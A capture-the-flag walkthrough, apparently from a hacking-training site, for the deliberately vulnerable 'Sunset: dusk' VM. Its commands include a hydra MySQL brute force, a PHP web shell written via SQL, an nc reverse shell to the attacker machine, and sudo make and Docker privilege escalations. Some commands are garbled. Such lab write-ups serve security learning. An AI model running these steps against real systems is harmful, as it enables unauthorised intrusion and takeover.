Sunset: Dusk VM walkthrough

Sunset: dusk is a vulnerable by design Debian based machine created by whitecrOwz. It is available on

This machine is ranked as a beginner VM, so it is very much useful for those pentesting learners who have just started to get hands on practice.

We will take an advantage of the vulnerabilities present in this machine i.e. weak credentials which let us inject the PHP file for exploiting Remote Code Execution.

After importing Sunset: dusk on VirtualBox, start the VM:

dusk on VirtualBox

Network Scanning

As we don’t know the IP address of this VM we will get back to our attacking machine i.e. Kali Linux and use netdiscover command to identify the target machine’s IP

Network ScanningWe got the IP of the target machine now, we will perform information gathering by scanning the target IP to identify all the loopholes and open ports of the victim.

Use Nmap tool to scan the target: # nmap -A

nmap -AFrom the above results we can see there is a bunch of open ports running the services including ftp, ssh, http and so on.

Let’s target port 3306 to try for mysql brute force attack with the help of hydra using rockyou.txt file (a password dictionary of compromised passwords from the social media application developer RockYou)

mysql 3306# hydra –l root P /usr/share/wordlists/rockyou.txt.gz mysql

hydra -l root -P mysqlSuccessfully got the weak credentials of MYSQL (user: root and password: password)


Also redirect towards

redirect 192This page showing the list of the current directory. Also, there is a hint for writable directory /var/tmp, thus making it easy to exploit the loopholes

list of the current directoryAccess the MYSQL Database

The working directory and the credentials for database are in our hands. By using these let’s inject a malicious code as sql query into a PHP file named “ehacking.php”.

This file will proceed a Remote Code Execution.

SQL Query> select <?php system($_GET[‘cmd’]); ?> into outfile ‘/var/tmp/ehacking.php’ ;

Access the MYSQL Database

There is an entry of our injected file ‘ehacking.php’ at

ehacking.phpVerify the Remote Code Execution parameters by executing this PHP file:

Remote Code Execution This ensuring we can run system command and send our cmds to the server through this page.

Get back to Kali prompt and type command:

# nc -lvp 1234

Now try to let the server sends us back an nc connection by executing: -e /bin/bash 1234

an nc connection

Capturing the first flag (user.txt)

The connection is successfully established.

Find the first flag ‘user.txt’ by going into the directoy /home/dusk and read the data from the user.txt

Capturing the first flag (user.txt)

We have successfully spawned the host machine and captured the first flag!

Capturing the second flag (root.txt)

Now run sudo -l

sudo -l This showing we can execute the three marked binaries as if we were the local user dusk without using a password for sudo.

To break into the user dusk environment, use these commands:


sudo -u make -s –eval=$’x:\n\t-‘”$COMMAND”

sudoAnd we successfully got the user dusk environment. We can see from here, Docker is running on the host machine. Let’s use one of Docker privilege escalation routes, to get a root shell

$ docker run v /:/hostOS i t chrisfosterelli/rootplease

This command will fetch the Docker image from the Docker Hub Registry. We have passed three parameters in it i.e.

  1. -v states you want to create a volume in the Docker instance
  2. -i and -t move Docker into ‘shell mode’ rather than starting a daemon process

docker run

After getting into the root shell get id and go into root directory where you will find root.txt that is our final flag!

CTFWe have successfully captured both the flags. This CTF challenge is very interesting showing how to exploit weak credentials and get the root access.

Ehacking Staff
With more than 50 global partners, we are proud to count the world’s leading cybersecurity training provider. EH Academy is the brainchild of Ehacking, which has been involved in the field of training since the past Five years and continues to help in creating professional IT experts.

Most Popular

How to Reduce Risk with Runtime Application Self Protection

Instead of waning, cyber attacks continue to rise as the years pass. Several reasons contribute to this phenomenon, despite developing and deploying more robust...

Password Cracking Tutorial, Tips & Techniques

This article covers password cracking and hacking topics, including dictionary-based attacks, brute-force attacks, and rainbow table attacks. It also demonstrates various password cracking techniques...

Virtual Reality Technology: A Game Changer for Online Casinos

The online gaming industry has been changing ever since the first online casinos appeared in the late 90s. The industry is also growing every...

List of Educational Websites for Students

Knowledge is the most powerful human tool. With its help, you can build yourself a happy future. Colleges and universities teach students the skills...